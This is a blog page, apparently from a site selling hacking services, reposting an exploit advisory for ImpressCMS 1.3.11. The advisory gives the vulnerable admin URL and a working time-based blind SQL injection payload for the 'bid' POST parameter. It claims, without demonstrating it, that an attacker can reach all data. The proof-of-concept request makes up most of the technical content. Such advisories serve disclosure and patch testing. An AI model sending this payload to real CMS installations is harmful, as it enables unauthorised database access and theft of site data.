Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378009

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: ImpressCMS 1.3.11 - 'bid' SQL Injection
# Date: 21.01.2019
# Exploit Author: Mehmet Onder Key
# Vendor Homepage: http://www.impresscms.org/
# Software Link:
https://sourceforge.net/projects/impresscms/files/v1.3.11/impresscms_1.3.11.zip
# Version: v1.3.11
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
ImpressCMS is a community developed Content Management System. With this
tool maintaining the content of a website becomes as easy as writing a word
document. ImpressCMS is the ideal tool for a wide range of users: from
business to community users, from large enterprises to people who want a
simple, easy to use blogging tool.

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.


# POC - SQLi :

# Parameter: bid (POST)
# Request URL: http://localhost/impress/modules/system/admin.php?bid=12

#    Type : time-based blind
bid=12') AND SLEEP(5) AND ('Bjhx'='Bjhx&fct=blocksadmin&op=up&rtn=Lw==